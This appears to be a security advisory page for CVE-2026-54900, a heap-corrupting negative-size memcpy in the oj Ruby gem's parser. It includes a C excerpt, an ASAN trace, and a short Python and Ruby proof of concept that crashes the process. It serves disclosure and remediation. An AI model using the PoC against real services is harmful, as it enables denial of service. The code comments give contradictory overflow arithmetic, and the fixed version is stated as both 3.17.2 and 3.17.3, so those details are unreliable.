CVE-2026-54900: Oj: Negative-Size memcpy in Oj::Parser create_id Attribute Handling

Published Jun 19, 2026
·
Updated

Summary

Oj::Parser#parse in usual mode with createid enabled is vulnerable to heap corruption via a negative-size memcpy. When a JSON object key is exactly 65,535 bytes long, an integer truncation in formattr (usual.c:63) converts the length to -1 before passing it to memcpy. This causes memcpy to copy SIZEMAX bytes (interpreted as a huge sizet), corrupting heap memory and crashing the process.

Version

- Software: oj gem - Affected: all versions with ext/oj/usual.c - Latest tested: 3.17.1 (confirmed present)

Details

ext/oj/usual.c, formattr:

c // usual.c:55–64 static ID formattr(const char str, sizet slen) { char buf[4096]; // ... int blen = (int)slen + 1; // ← truncates: 65535 + 1 = 65536 → wraps to 0 // or: 65535 cast to int = 65535 (fits), // but blen = 65536 → INT overflow on +1 if slen=INTMAX // ... memcpy(buf, "@", 1); memcpy(buf + 1, str, (sizet)blen); // ← sizet(-1) = SIZEMAX }

The cache (cacheintern) uses a fixed 65,536-byte slab. When slen = 65535, the arithmetic wraps and memcpy is called with (sizet)-1.

ASAN report: ==80452==ERROR: AddressSanitizer: negative-size-param: (size=-1) #0 memcpy #1 formattr /ext/oj/usual.c:63 #2 cacheintern /ext/oj/cache.c:326 #3 getattrid /ext/oj/usual.c:186 #4 closeobjectcreate /ext/oj/usual.c:374 #5 parse /ext/oj/parser.c:693 #6 parserparse /ext/oj/parser.c:1408 0x531000528800 is located 0 bytes inside of 65536-byte region [0x531000528800, 0x531000538800)

Reproduce

Generate the payload:

python key = 'A' 65535 with open('poc.json', 'w') as f: f.write('{"jsonclass":"Oj::Bag","' + key + '":1}')

Trigger:

ruby require 'oj' Oj::Parser.new(:usual, createid: 'jsonclass').parse(STDIN.read)

Other sources

Oj (Optimized JSON) is a JSON parser and Object marshaller packaged as a Ruby gem. In versions prior to 3.17.2, when in usual mode with createid enabled, Oj::Parser#parse is vulnerable to heap corruption via a negative-size memcpy. When a JSON object key is exactly 65,535 bytes long, an integer truncation in formattr (usual.c:63) converts the length to -1 before passing it to memcpy. This causes memcpy to copy SIZEMAX bytes (interpreted as a huge sizet), corrupting heap memory and crashing the process. The issue has been fixed in version 3.17.2.

MITRE

Affected Software

2 affected componentsFixes available
rubygems/oj<3.17.2
3.17.3
IBM Aspera Enterprise WebApps<=1.0.0 - 1.0.5

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade rubygems/oj to a version that resolves this vulnerability.

    Fixed in 3.17.3
  2. Upgrade

    Upgrade oj gem to a version that resolves this vulnerability.

    Fixed in 3.17.2

Event History

Jun 19, 2026
Advisory Published
via GitHub·08:47 PM
Data Sourced
via GitHub·08:47 PM
DescriptionWeaknessAffected Software
Jun 30, 2026
CVE Published
via MITRE·11:34 PM
Data Sourced
via MITRE·11:34 PM
DescriptionWeakness
Jul 1, 2026
Data Sourced
via NVD·12:16 AM
DescriptionSeverityWeakness
Sep 8, 2026
Data Sourced
via IBM·12:00 AM
DescriptionAffected Software

Parent advisories

This vulnerability appears in the following advisories.

Frequently Asked Questions

1

What is the severity of CVE-2026-54900?

CVE-2026-54900 has a risk rating of 57, indicating a moderate severity level.

2

How do I fix CVE-2026-54900?

To fix CVE-2026-54900, update to the patched version of the oj gem that addresses this vulnerability.

3

What software is affected by CVE-2026-54900?

CVE-2026-54900 affects the oj gem commonly used in Ruby applications.

4

What is the vulnerability type of CVE-2026-54900?

CVE-2026-54900 is categorized as an integer overflow leading to heap corruption.

5

When was CVE-2026-54900 published?

CVE-2026-54900 was published on June 19, 2026.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203